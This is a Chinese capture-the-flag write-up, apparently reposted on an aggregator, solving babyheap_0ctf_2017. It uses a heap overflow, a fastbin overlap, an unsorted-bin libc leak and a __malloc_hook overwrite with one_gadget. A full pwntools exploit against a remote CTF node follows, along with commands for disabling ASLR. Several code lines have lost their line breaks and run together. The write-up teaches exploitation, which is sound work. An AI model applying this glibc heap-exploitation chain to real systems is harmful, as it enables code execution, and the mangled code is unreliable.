当前位置: 首页 > news >正文

Buuctf-babyheap_0ctf_2017

Buuctf-babyheap_0ctf_2017

刷题笔记
babyheap_0ctf_2017
在这里插入图片描述

_QWORD buf[4]; // 16字节缓冲区,用于存储随机数
buf[3] = __readfsqword(0x28u); // 栈保护 canary
alarm(0x3Cu); // 设置 60 秒超时
buf[0]: 8字节随机数(用于计算地址)
buf[1]: 8字节随机数(用于计算偏移)
buf[2], buf[3]: 未使用(但 buf[3] 被 canary 覆盖)

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

addr = 计算出的随机地址 // 建议地址
length = 0x1000 (4096) // 分配 4KB
prot = 3 // PROT_READ | PROT_WRITE (可读可写)
flags = 34 // MAP_PRIVATE | MAP_ANONYMOUS (0x22 = 34)
fd = -1 // 匿名映射
offset = 0 // 偏移为 0
在这里插入图片描述

char nptr[8]; // 8字节缓冲区,用于存储输入字符串
unsigned __int64 v2; // 栈保护 canary 值
v2 = __readfsqword(0x28u); // 读取栈保护 canary
调用输入函数
sub_123D(nptr, 8LL);
在这里插入图片描述

在填充内容的功能中,调用input函数来输入堆块的大小,并没有设置字符串结尾。而且比较有意思的是,这次又让我们重新输入了content_size,但是程序并没有将原来结构体中的content_size更改。且执行这个函数之后allocate chunk时堆块的size域没有改变,所以这里就出现了任意堆溢出的情形。
在这里插入图片描述

全保护
由于我们希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能被回收到 fastbin chunk,也不能和 top chunk 相邻。因为后者在不是fastbin 的情况下,会被合并到 top chunk 中。

Plain Text
alloc(0x10)  # 0 - 屏障
alloc(0x10)  # 1 - 屏障  
alloc(0x10)  # 2 - 屏障
alloc(0x10)  # 3 - 关键屏障,防止合并
alloc(0x80)  # 4 - 目标chunk,将要释放到unsorted bin
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/341f36b742b44f4295a8c3562b4c4832.png)

分配如上

Plain Text
free(1)
free(2)

释放两个到fastbin
在这里插入图片描述
在这里插入图片描述

Plain Text
fastbins[0]->chunk2->chunk1->null

在这里插入图片描述

Plain Text
gdb-peda$ x/20gx &main_arena
0x7ffff7dd1b20 <main_arena>:        0x0000000000000000        0x0000555555757040 #chunk2
0x7ffff7dd1b30 <main_arena+16>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>:        0x0000000000000000        0x0000555555757110 #top
0x7ffff7dd1b80 <main_arena+96>:        0x0000000000000000        0x00007ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>:        0x00007ffff7dd1b78        0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>:        0x00007ffff7dd1b88        0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>:        0x00007ffff7dd1b98        0x00007ffff7dd1ba8

现在将chunk2->chunk4并且大小可以进入unsortedbin

Plain Text
payload1 = p64(0)*3 + p64(0x21)
payload1 += p64(0)*3 + p64(0x21)
payload1 += p8(0x80) 
fill(0, payload1)
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/069b6c5b9e054755a23884d167492b7c.png)

可以看到
0x0000555555757020->0x0000555555757080
指向了chunk4

Plain Text
payload2 = p64(0)*3 + p8(0x21)
fill(3, payload2)

然后再通过index3去进行写入,把index4的大小改成0x21
这么做是因为当申请index4这块内存的时候,他会检查大小是不是fastbin的范围内(请注意这点)
改成0x21主要是为了后面还要把chunk4从fastbins申请出来
在这里插入图片描述

然后申请出chunk4

Plain Text
add(0x10) #1
add(0x10) #4
0x555555757000:        0x0000000000000000        0x0000000000000021 #0
0x555555757010:        0x0000000000000000        0x0000000000000000
0x555555757020:        0x0000000000000000        0x0000000000000021 #1
0x555555757030:        0x0000000000000000        0x0000000000000000
0x555555757040:        0x0000000000000000        0x0000000000000021 #2
0x555555757050:        0x0000000000000000        0x0000000000000000
0x555555757060:        0x0000000000000000        0x0000000000000021 #3
0x555555757070:        0x0000000000000000        0x0000000000000000
0x555555757080:        0x0000000000000000        0x0000000000000021 #4
0x555555757090:        0x0000000000000000        0x0000000000000000
0x5555557570a0:        0x0000000000000000        0x0000000000000000
0x5555557570b0:        0x0000000000000000        0x0000000000000000
0x5555557570c0:        0x0000000000000000        0x0000000000000000
0x5555557570d0:        0x0000000000000000        0x0000000000000000
0x5555557570e0:        0x0000000000000000        0x0000000000000000
0x5555557570f0:        0x0000000000000000        0x0000000000000000
0x555555757100:        0x0000000000000000        0x0000000000000000
0x555555757110:        0x0000000000000000        0x0000000000020ef1

然后再将chunk4改成unsortedbin大小以便计算出偏移量得到libcbase

Plain Text
payload3 = p64(0)*3 + p64(0x91)
fill(3, payload3)

在这里插入图片描述

然后释放会发现被合并了
在这里插入图片描述

所以要先申请出一个内存以防被合并

Plain Text
add(0x80)
free(4)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Plain Text
gdb-peda$ x/20gx &main_arena 
0x7ffff7dd1b20 <main_arena>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>:        0x0000000000000000        0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>:        0x0000000000000000        0x00005555557571a0 #top
0x7ffff7dd1b80 <main_arena+96>:        0x0000000000000000        0x0000555555757080 #unsort
0x7ffff7dd1b90 <main_arena+112>:        0x0000555555757080        0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>:        0x00007ffff7dd1b88        0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>:        0x00007ffff7dd1b98        0x00007ffff7dd1ba8
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/deed4601025347168e17a01fdd162344.png)
Plain Text
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp        /lib/x86_64-linux-gnu/libc-2.23.so

这个是libc基地址
在这里插入图片描述

计算出偏移量
然后通过dump来接收chunk4里面的值来计算得到libc地址
再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移

Plain Text
dump(2)
p.recvline(2)
leak = u64(p.recv(8))
print(hex(leak))
libc = leak - offset
print(hex(libc))

在这里插入图片描述

泄露出来了
接下来去控制malloc为one_gadget地址
我们需要再次在Fast Bin中放入chunk,然后修改fd指针完成链接的重定向
但是此时fastbin已经没有,所以要把chunk4中unsortedbin的值取出来
在这里插入图片描述

从上面的堆情况可以看到,由于是malloc(0x60),而原unsortedbin中的chunk_size过大,因此unsortedbin中的chunk会利用并分裂成两个堆块,其中index5还是存放在unsortedbin中的:

Plain Text
add(0x60)

在这里插入图片描述

index2_content指针还是指向index4_chunk_data
为了修改之后index4的fd指针,因此我们可以先释放index4

Plain Text
free(4)

在这里插入图片描述
在这里插入图片描述

然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

伪内存为0x7f
在这里插入图片描述

差值就是0x3c4aed

Plain Text
offset2 = 0x3c4aedpayload4 = p64(libc + offset2)
fill(2,payload4)

在这里插入图片描述
在这里插入图片描述

这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处

Plain Text
add(0x60) #4
add(0x60) #molloc_hook

在这里插入图片描述
在这里插入图片描述

被分配出去了
然后往malloc_hook上写one_gadget的地址

Plain Text
gdb-peda$ p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook>

在这里插入图片描述

我们要写入的地方在0x7ffff7dd1afd
在这里插入图片描述

所以要填充19(十进制)
在这里插入图片描述

可能需要尝试并更换多个one_gadget才能getshell

Plain Text
one_get = 0x4526apayload5= p8(0)*3 + p64(0)*2 + p64(libc + one_get)
fill(6,payload5)

最后使用调用alloc实现getshell
在这里插入图片描述

Exp:

Python
cafrom pwn import *
#p = process('./babyheap_0ctf_2017')
p = remote('node5.buuoj.cn',25358)
elf = ELF('./babyheap_0ctf_2017')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.23.so')
def debug():gdb.attach(p)pause()def add(size):p.sendlineafter(b'Command: ',str(1))p.sendlineafter(b'Size: ',str(size))def fill(index, content):p.sendlineafter(b'Command: ',str(2))p.sendlineafter(b'Index: ',str(index))p.sendlineafter(b'Size: ',str(len(content)))p.sendafter(b'Content: ',content)def free(index):p.sendlineafter(b'Command: ',str(3))p.sendlineafter(b'Index: ',str(index))def dump(index):p.sendlineafter(b'Command: ',str(4))p.sendlineafter(b'Index: ',str(index))add(0x10) #0
add(0x10) #1
add(0x10) #2
add(0x10) #3
add(0x80) #4free(1)
free(2)payload1 = p64(0)*3 + p64(0x21)
payload1 += p64(0)*3 + p64(0x21)
payload1 += p8(0x80) 
fill(0, payload1)payload2 = p64(0)*3 + p8(0x21)
fill(3, payload2)add(0x10) #1
add(0x10) #4payload3 = p64(0)*3 + p64(0x91)
fill(3, payload3)add(0x80)
free(4)offset = 0x3c4b78dump(2)
p.recvline(2)
leak = u64(p.recv(8))
print(hex(leak))
libc = leak - offset
print(hex(libc))add(0x60)
free(4)offset2 = 0x3c4aedpayload4 = p64(libc + offset2)
fill(2,payload4)add(0x60) #4
add(0x60) #molloc_hookone_get = 0x4526apayload5= p8(0)*3 + p64(0)*2 + p64(libc + one_get)
fill(6,payload5)add(255)p.interactive()

关闭ASLR
Bash
现在关闭ASLR,关闭方法如下:
方法一: 手动修改randomize_va_space文件
上面介绍的randomize_va_space文件的枚举值含义,设置的值不同,linux内核加载程序的地址空间的策略就会不同。比较简单明了。这里0代表关闭ASLR。
Bash运行代码
echo 0 > /proc/sys/kernel/randomize_va_space

注意,这里是先进root权限,后执行。

重启之后会恢复默认。

方法二: 使用sysctl控制ASLR
Bash运行代码
sysctl -w kernel.randomize_va_space=0

重启之后将恢复默认

如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。

方法三: 使用setarch控制单个程序的随机化
如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。
Bash运行代码
setarch uname -m -R ./your_program

-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)

方法四: 在GDB场景下,使用set disable-randomization off
在调试特定程序时,可以通过set disable-randomization命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。
当然,这里开启,关闭和查看的方法看起来就比较正规了。
Bash运行代码
关闭ASLR:
set disable-randomization on
开启ASLR:
set disable-randomization off
查看ASLR状态:
show disable-randomization

我参考了:
https://www.yuque.com/cyberangel/rg9gdm/cca1tf#Yl6ek
https://www.cnblogs.com/youdiscovered1t/p/19109746

http://www.jsqmd.com/news/71353/

相关文章:

  • python:用argparse模块解析命令行参数
  • Alientech KESS3 Slave 12-Month Subscription: Professional Diagnostics Tuning for Euro/American Cars
  • 苏州装修公司合作知名建材品牌全解析:本土零增项标杆领衔,实力派闭眼选 - 品牌测评鉴赏家
  • 苏州装修公司合作知名建材品牌全解析:本土零增项标杆领衔,实力派闭眼选 - 品牌测评鉴赏家
  • 2025透析安全屏障!血液透析中心水处理设备TOP5:无菌高纯护生命 - 极欧测评
  • 跑酷基础训练1安全
  • BM25Okap
  • Original Alientech KESS3 Slave 6-Month Subscription: Diagnose Tune European/American Vehicles
  • 100 平新房装修不踩坑!苏州这 6 家高性价比公司闭眼入 - 品牌测评鉴赏家
  • 栈的快速入门
  • 苏州装修避坑指南:这几家透明报价、0增项的良心公司请收好! - 品牌测评鉴赏家
  • 2025年最新!实验室专用水处理设备厂家推荐及联系方式汇总 - 极欧测评
  • 【Cache缓存】基本概念 - 实践
  • 苏州100平新房装修攻略:高性价比公司精选+避坑指南,本地人都这样选! - 品牌测评鉴赏家
  • 苏州100平新房装修攻略:高性价比公司精选+避坑指南,本地人都这样选! - 品牌测评鉴赏家
  • DASCTF 2025下半年赛 reverse wp
  • Alientech KESS3 Slave Marine PWC Bench-Boot Protocol Activation for Mechanics Owners
  • Pygubu-Designer:Python GUI开发
  • 苏州装修性价比大揭秘!这些公司省钱又省心 - 品牌测评鉴赏家
  • 苏州装修公司施工质量红榜:2025年口碑TOP5避坑指南 - 品牌测评鉴赏家
  • 苏州二手房局部改造全攻略:5家高口碑公司深度测评 - 品牌测评鉴赏家
  • LLaMa-Factory 使用 Llama-3-8B-Instruct 在 双卡 NVIDIA Quadro P5000 16G 环境跑通4bit模型微调全过程
  • P11714 [清华集训 2014] 主旋律 题解
  • 2025苏州装修公司设计实力大揭秘:这几家凭什么脱颖而出? - 品牌测评鉴赏家
  • Cell | 本周最新文献速递
  • docker操作
  • 苏州二手房装修公司怎么选?这5家口碑好、避坑指南请收好 - 品牌测评鉴赏家
  • 苏州别墅装修公司怎么选?这几家口碑好到爆! - 品牌测评鉴赏家
  • 苏州厂房装修哪家好?2025实力派榜单与避坑指南(附全维度筛选攻略) - 品牌测评鉴赏家
  • 嵌入式处理器选型实战教程:MCU(STM32/ESP32/Arduino)+MPU(ARM Cortex-A)全解析